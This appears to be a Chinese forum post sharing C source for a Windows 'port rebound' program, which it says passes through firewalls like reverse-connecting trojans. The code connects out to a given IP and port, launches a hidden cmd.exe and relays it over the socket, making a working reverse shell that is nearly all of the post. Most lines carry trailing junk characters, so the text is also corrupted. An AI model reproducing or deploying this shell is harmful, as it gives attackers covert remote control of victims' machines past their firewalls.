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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u)N2  
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/* ============================== V!jK3vc  
Rebound port in Windows NT }D&"z8mP  
By wind,2006/7  3J'Bm"  
===============================*/ YMd&To0s  
#include HMl!?%%  
#include QYODmeu  
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#pragma comment(lib,"wsock32.lib") tIc0S!H#  
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void OutputShell(); P':]A{<Z  
SOCKET sClient; %Q>~7P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `[g# Mxw  
%B*<BgJ;4F  
void main(int argc,char **argv) ZQgxrZx3  
{ o`JlXuG?o  
WSADATA stWsaData; {+9^PC_hm;  
int nRet; o|Yn(xu-  
SOCKADDR_IN stSaiClient,stSaiServer; =0jmm(:Jh  
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if(argc != 3) 9!Q $GE?vl  
{ w[J (E  
printf("Useage:\n\rRebound DestIP DestPort\n"); k*zc5ev}  
return; 8k*  
} \]~kyy  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q KDb  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )f:!#v(K  
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stSaiClient.sin_family = AF_INET; Rd;~'gbG  
stSaiClient.sin_port = htons(0);  !z "a_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _dJVnC1 !  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8)ebXc  
{ Pv/%s) &y&  
printf("Bind Socket Failed!\n"); 5Qm.ECXV  
return; ?*MV  ^IY  
} ~8n~4  
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stSaiServer.sin_family = AF_INET; <(6-9(zHa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ??esB&4?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0W<nE[U  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b|V4Fp  
{ ^|:{,d#Y  
printf("Connect Error!"); =^%Pwkz  
return; ^r?sgJ  
} ;?Y` e  
OutputShell(); ngH~4HyT  
} V~gUMu4ot  
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void OutputShell() [> aoDJ  
{ b`={s  
char szBuff[1024]; =+sIX3  
SECURITY_ATTRIBUTES stSecurityAttributes; ^F{)&#4  
OSVERSIONINFO stOsversionInfo; q[,R%6&'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?#{2?%_  
STARTUPINFO stStartupInfo; cO"Xg<#y  
char *szShell; g`f6gxc  
PROCESS_INFORMATION stProcessInformation; b6E8ase:F  
unsigned long lBytesRead; O ]4 x;`)  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r+W 8m?oi  
9 %.<V_$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]mLTF',5  
stSecurityAttributes.lpSecurityDescriptor = 0; l4BO@   
stSecurityAttributes.bInheritHandle = TRUE; piM11W}|/  
(k2J{6]  
j/`qd(=B  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @x>$_:]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C,e$g  
N=?kEX O  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z?j='/u>@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JI#Enh!Lv  
stStartupInfo.wShowWindow = SW_HIDE; : 1f5;]%N  
stStartupInfo.hStdInput = hReadPipe; :tS>D5dz(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `] dx%  
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GetVersionEx(&stOsversionInfo); # *aGzF  
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switch(stOsversionInfo.dwPlatformId) ug3lMN4UX  
{ z%gtV'  
case 1: hm} :Me$[)  
szShell = "command.com"; "jN-Yd,z  
break; X]^E:'E!  
default: M$hw(fC|m1  
szShell = "cmd.exe"; ~FrkLP  
break; aKFA&Xnsl  
} |>fS"u  
2P> za\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z&J ow/  
F p=Q$J|  
send(sClient,szMsg,77,0); WuQ<AS=   
while(1) 48NXj\L[y  
{ e8uIh[+ 0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); # yRA. ;  
if(lBytesRead) = (h;L$  
{ + T-zf@j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =4\~M"[p  
send(sClient,szBuff,lBytesRead,0); U.sPFt  
} ='||BxB  
else +6Fdi*:  
{ NHVx!Kc  
lBytesRead=recv(sClient,szBuff,1024,0); z ex.0OT;  
if(lBytesRead<=0) break; yNf=Kl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6f9<&dCK  
} iwx0V  
} v?"ee&Y6  
|}y}o:(  
return; r!gCh`PiK  
}
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